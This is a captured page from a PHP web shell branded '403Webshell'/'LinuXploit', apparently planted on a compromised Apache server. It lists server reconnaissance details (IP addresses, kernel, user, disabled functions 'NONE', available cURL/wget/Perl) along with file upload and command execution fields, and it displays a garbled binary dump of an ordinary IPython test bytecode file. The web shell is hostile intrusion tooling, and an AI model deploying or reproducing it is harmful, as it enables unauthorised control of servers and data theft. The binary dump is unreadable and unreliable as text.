403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.216.115
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/IPython/lib/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/IPython/lib/tests/__pycache__/test_display.cpython-311.pyc
�

�@�ca$��z�dZddlmZmZddlmZmZmZddl	Z	ddl
mZmZddl
Z
ddlZddlmZddlZ	ddlZn#e$rYnwxYwddlmZddlmZd	�Zd
�Zd�Zd�Zd
�Zd�Zd�Zd�Zd�Z d�Z!d�Z"d�Z#d�Z$d�Z%Gd�de��Z&d�Z'e'��Gd�de&����Z(ed d���Z)d�Z*d�Z+dS)!z Tests for IPython.lib.display.

�)�NamedTemporaryFile�mkdtemp)�split�join�dirnameN)�TestCase�mock)�BytesIO)�display)�skipif_not_numpyc�z�tjd��}tjtjd����}dS)z(FileLink: Test class can be instantiated�example.txtN)r�FileLink�pathlib�PurePath��fls �@/usr/lib/python3/dist-packages/IPython/lib/tests/test_display.py�test_instantiation_FileLinkr,s1��	�	�-�	(�	(�B�	�	�'�*�=�9�9�	:�	:�B�B�B�c��tjd��}|����d��sJ�dS)zEFileLink: Calling _repr_html_ on non-existent files returns a warningrzPath (<tt>example.txt</tt>)N)rr�_repr_html_�
startswithrs r�*test_warning_on_non_existent_path_FileLinkr2s=��	�	�-�	(�	(�B�
�>�>���&�&�'D�E�E�E�E�E�E�Erc��t��}tj|j��}|���}d|j�d|j�d�}||ksJ�dS)zMFileLink: Calling _repr_html_ functions as expected on existing filepath
    z	<a href='�' target='_blank'>�</a><br>N)rrr�namer��tfr�actual�expecteds    r�test_existing_path_FileLinkr#8s_��
�	�	�B�	�	�"�'�	"�	"�B�
�^�^�
�
�F�F�<>�G�G�G�R�W�W�W�M�H��X������rc��t��}tj|j��}t	|��}|j}||ksJ�dS)zHFileLink: Calling repr() functions as expected on existing filepath
    N)rrrr�reprrs    r� test_existing_path_FileLink_reprr&BsJ��
�	�	�B�	�	�"�'�	"�	"�B�
�"�X�X�F��w�H��X������rc�l�t��}tjttj|��dS)z1FileLink: Raises error when passed directory
    N)r�pytest�raises�
ValueErrorrr)�tds r�#test_error_on_directory_to_FileLinkr,Ls*��
���B�
�M�*�g�.��3�3�3�3�3rc�.�tjd��}dS)z.FileLinks: Test class can be instantiated
    �exampleN)r�	FileLinks��flss r�test_instantiation_FileLinksr2Vs���
�I�
&�
&�C�C�Crc��tjd��}|����d��sJ�dS)zFFileLinks: Calling _repr_html_ on non-existent files returns a warningr.zPath (<tt>example</tt>)N)rr/rrr0s r�+test_warning_on_non_existent_path_FileLinksr4[s=��
�
�I�
&�
&�C��?�?���'�'�(A�B�B�B�B�B�B�Brc�,�t��}t|���}t|���}tj|��}|���}|�d��}|���d|zd|j�dd���dt|j��d�d	�d|j�dd���dt|j��d�d	�g}|���||ksJ�d
S)zIFileLinks: Calling _repr_html_ functions as expected on existing dir
    ��dir�
z%s/<br>z&nbsp;&nbsp;<a href='�\�/r�rN)	rrrr/rr�sortr�replace�r+�tf1�tf2rr!r"s      r�test_existing_path_FileLinksrAas��
���B�
��
$�
$�
$�C�
��
$�
$�
$�C�	�	�2�	�	�B�
�^�^�
�
�F�
�\�\�$�
�
�F�
�K�K�M�M�M��B����(�"�"�4��,�,�,�,�U�3�8�_�_�Q�-?�-?�-?�A�A��(�"�"�4��,�,�,�,�U�3�8�_�_�Q�-?�-?�-?�A�B�H�

�M�M�O�O�O��X������rc�N�t��}t|���}t|���}d�}tj||���}|���}|�d��}|���ddg}|���||ksJ�dS)zMFileLinks: Calling _repr_html_ functions as expected w/ an alt formatter
    r6c�
�ddgS�N�hello�world��r�fnames�included_suffixess   r�fake_formatterzBtest_existing_path_FileLinks_alt_formatter.<locals>.fake_formatter}�
���� � r)�notebook_display_formatterr8rErFN)rrrr/rrr<�r+r?r@rKrr!r"s       r�*test_existing_path_FileLinks_alt_formatterrOws���
���B�
��
$�
$�
$�C�
��
$�
$�
$�C�!�!�!�	�	�2��	H�	H�	H�B�
�^�^�
�
�F�
�\�\�$�
�
�F�
�K�K�M�M�M��� �H��M�M�O�O�O��X������rc��t��}t|���}t|���}tj|��}t	|��}|�d��}|���d|zdt|j��dzdt|j��dzg}|���||ksJ�dS)zFFileLinks: Calling repr() functions as expected on existing directory r6r8z%s/z  %sr;N)rrrr/r%rr<rr>s      r�!test_existing_path_FileLinks_reprrQ�s���	���B�
��
$�
$�
$�C�
��
$�
$�
$�C�	�	�2�	�	�B�
�"�X�X�F�
�\�\�$�
�
�F�
�K�K�M�M�M���
�F�U�3�8�_�_�Q�%7�7���s�x���QR�AS�8S�T�H��M�M�O�O�O��X������rc�D�t��}t|���}t|���}d�}tj||���}t	|��}|�d��}|���ddg}|���||ksJ�dS)zEFileLinks: Calling repr() functions as expected w/ alt formatter
    r6c�
�ddgSrDrGrHs   rrKzGtest_existing_path_FileLinks_repr_alt_formatter.<locals>.fake_formatter�rLr)�terminal_display_formatterr8rErFN)rrrr/r%rr<rNs       r�/test_existing_path_FileLinks_repr_alt_formatterrU�s���
���B�
��
$�
$�
$�C�
��
$�
$�
$�C�!�!�!�	�	�2��	H�	H�	H�B�
�"�X�X�F�
�\�\�$�
�
�F�
�K�K�M�M�M��� �H��M�M�O�O�O��X������rc��t��}t|���}tjtt
j|j��dS)z-FileLinks: Raises error when passed file
    r6N)rrr(r)r*rr/r)r+r?s  r�test_error_on_file_to_FileLinksrW�s<��
���B�
��
$�
$�
$�C�
�M�*�g�/���:�:�:�:�:rc���t��}t|���}t|���}t|���}tj|��}t	|��}|�d��}t
|��dks
J|���tj|d���}t	|��}|�d��}t
|��dks
J|���dS)z5FileLinks: Does not recurse when recursive=False
    r6r8�F)�	recursive�N)rrrr/�strr�len)r+r �subtd�subtfrr!s      r�test_recursive_FileLinksr`�s���
���B�	��	#�	#�	#�B���O�O�O�E��5�)�)�)�E�	�	�2�	�	�B�
��W�W�F�
�\�\�$�
�
�F��v�;�;�!����V����	�	�2��	/�	/�	/�B�
��W�W�F�
�\�\�$�
�
�F��v�;�;�!����V�����rc�t�ttt��d��}tj|���dS)Nztest.wav��filename)�pjoinr�__file__r�Audio)�paths r�test_audio_from_filerh�s2�����"�"�J�/�/�D��M�4� � � � � � rc��eZdZed���Zed���Zed���Zed���Zed���Zd�Z	dS)�TestAudioDataWithNumpyc��t��}tj|d���}tt	|j����t|��ksJ�dS�N�D���rate)�
get_test_tonerrfr]�read_wav�data��self�	test_tone�audios   r�test_audio_from_numpy_arrayz2TestAudioDataWithNumpy.test_audio_from_numpy_array�sN��!�O�O�	��
�i�e�4�4�4���8�E�J�'�'�(�(�C�	�N�N�:�:�:�:�:�:rc���t��}tjt|��d���}t	t|j����t	|��ksJ�dSrl)rprrf�listr]rqrrrss   r�test_audio_from_listz+TestAudioDataWithNumpy.test_audio_from_list�sT��!�O�O�	��
�d�9�o�o�E�:�:�:���8�E�J�'�'�(�(�C�	�N�N�:�:�:�:�:�:rc�j�|�ttjt	����dS�N)�assertRaisesr*rrfrp�rts r�/test_audio_from_numpy_array_without_rate_raiseszFTestAudioDataWithNumpy.test_audio_from_numpy_array_without_rate_raises�s&�����*�g�m�]�_�_�E�E�E�E�Erc��tjtj��j}dD]e}t	jt
|��d���}tjtjt|j	������}||ksJ��fdS)N)r;��?r[rmrn)
�numpy�iinfo�int16�maxrrfrp�absrqrr)rt�expected_max_value�scalerv�actual_max_values     r�test_audio_data_normalizationz4TestAudioDataWithNumpy.test_audio_data_normalization�s���"�[���5�5�9�� �	:�	:�E��M�-��"6�"6�U�C�C�C�E�$�y���8�E�J�3G�3G�)H�)H�I�I��#�'9�9�9�9�9�9�	:�	:rc��tjtj��j}dD]�}t	|��}tjtj|����}t
||z��}tj|dd���}tjtjt|j
������}||ksJ���dS)N)r;r�g�������?rmF�ro�	normalize)r�r�r�r�rpr��intrrfrqrr)rt�	max_int16r�ru�test_tone_max_absr�rvr�s        r�%test_audio_data_without_normalizationz<TestAudioDataWithNumpy.test_audio_data_without_normalization�s����K���,�,�0�	�"�	:�	:�E�%�e�,�,�I� %�	�%�)�I�*>�*>� ?� ?��!$�Y�1B�%B�!C�!C���M�)�%�5�I�I�I�E�$�y���8�E�J�3G�3G�)H�)H�I�I��#�'9�9�9�9�9�9�
	:�	:rc�v�|�td���|�td���dS)Nc�2�tjdgdd���S)Ngj�t��?rmFr��rrfrGrr�<lambda>zfTestAudioDataWithNumpy.test_audio_data_without_normalization_raises_for_invalid_data.<locals>.<lambda>�s��G�M�5�'���G�G�G�rc�2�tjdgdd���S)Ngj�t��rmFr�r�rGrrr�zfTestAudioDataWithNumpy.test_audio_data_without_normalization_raises_for_invalid_data.<locals>.<lambda>�s��G�M�6�(��%�H�H�H�r)r}r*r~s r�=test_audio_data_without_normalization_raises_for_invalid_datazTTestAudioDataWithNumpy.test_audio_data_without_normalization_raises_for_invalid_data�sX������G�G�	I�	I�	I�	
����H�H�	J�	J�	J�	J�	JrN)
�__name__�
__module__�__qualname__rrwrzrr�r�r�rGrrrjrj�s��������;�;���;�
�;�;���;�
�F�F���F��:�:���:��:�:���:�J�J�J�J�Jrrjc��	ddl}tjdtjt�����S#t
$rd�cYSwxYw)Nrznumpy.array)�side_effectc��|Sr|rG)�xs rr�z.simulate_numpy_not_installed.<locals>.<lambda>�s���r)r�r	�patch�	MagicMock�ImportError�ModuleNotFoundError)r�s r�simulate_numpy_not_installedr��sX��������z�-���K�)P�)P�)P�Q�Q�Q�������z�������s�03�
A�Ac�$�eZdZed���ZdS)�TestAudioDataWithoutNumpyc���tt����gdz�|�t�fd���dS)Nr[c�0��tj�d���Srlr�)�
stereo_signals�rr�zMTestAudioDataWithoutNumpy.test_audio_raises_for_nested_list.<locals>.<lambda>s���W�]�=�u�-U�-U�-U�r)ryrpr}�	TypeError)rtr�s @r�!test_audio_raises_for_nested_listz;TestAudioDataWithoutNumpy.test_audio_raises_for_nested_list�sB����m�o�o�.�.�/�!�3�
����)�%U�%U�%U�%U�V�V�V�V�VrN)r�r�r�rr�rGrrr�r��s5�������W�W���W�W�Wrr�r;c�~�tjdtjzdztjddd��z��|zS)Nr[i�rr;rm)r��sin�pi�linspace)r�s rrprps5���9�Q���\�C�'�%�.��A�u�*E�*E�E�F�F��N�Nrc�H�tjt|����5}|�|�����}|���|���z}t
jd|z|��cddd��S#1swxYwYdS)Nz<%sh)�wave�openr
�
readframes�
getnframes�getnchannels�struct�unpack)rr�	wave_file�	wave_data�num_sampless    rrqrqs���	
��7�4�=�=�	!�	!�>�Y��(�(��)=�)=�)?�)?�@�@�	��*�*�,�,�y�/E�/E�/G�/G�G���}�V�k�1�9�=�=�>�>�>�>�>�>�>�>�>�>�>�>����>�>�>�>�>�>s�A(B�B�Bc��tjt���}|����d��sJ�dS)Nrbz<style>)r�Codererr)�cs r�test_code_from_filer�s<����h�'�'�'�A��=�=�?�?�%�%�i�0�0�0�0�0�0�0r)r;),�__doc__�tempfilerr�os.pathrrrdrr�unittestrr	r�r��ior
r(r�r��IPython.libr�IPython.testing.decoratorsrrrr#r&r,r2r4rArOrQrUrWr`rhrjr�r�rprqr�rGrr�<module>r�s�����1�0�0�0�0�0�0�0�1�1�1�1�1�1�1�1�1�1�����#�#�#�#�#�#�#�#�
�
�
�
������������
�
�
�	��L�L�L�L���	�	�	��D�	���� ������7�7�7�7�7�7�;�;�;�F�F�F�������4�4�4�'�'�'�
C�C�C����,���$������$;�;�;�$�$�$� !�!�!�+J�+J�+J�+J�+J�X�+J�+J�+J�Z�������W�W�W�W�W� 6�W�W� ��W��O�O�O���O�>�>�>�1�1�1�1�1s�9�A�A

Youez - 2016 - github.com/yon3zu
LinuXploit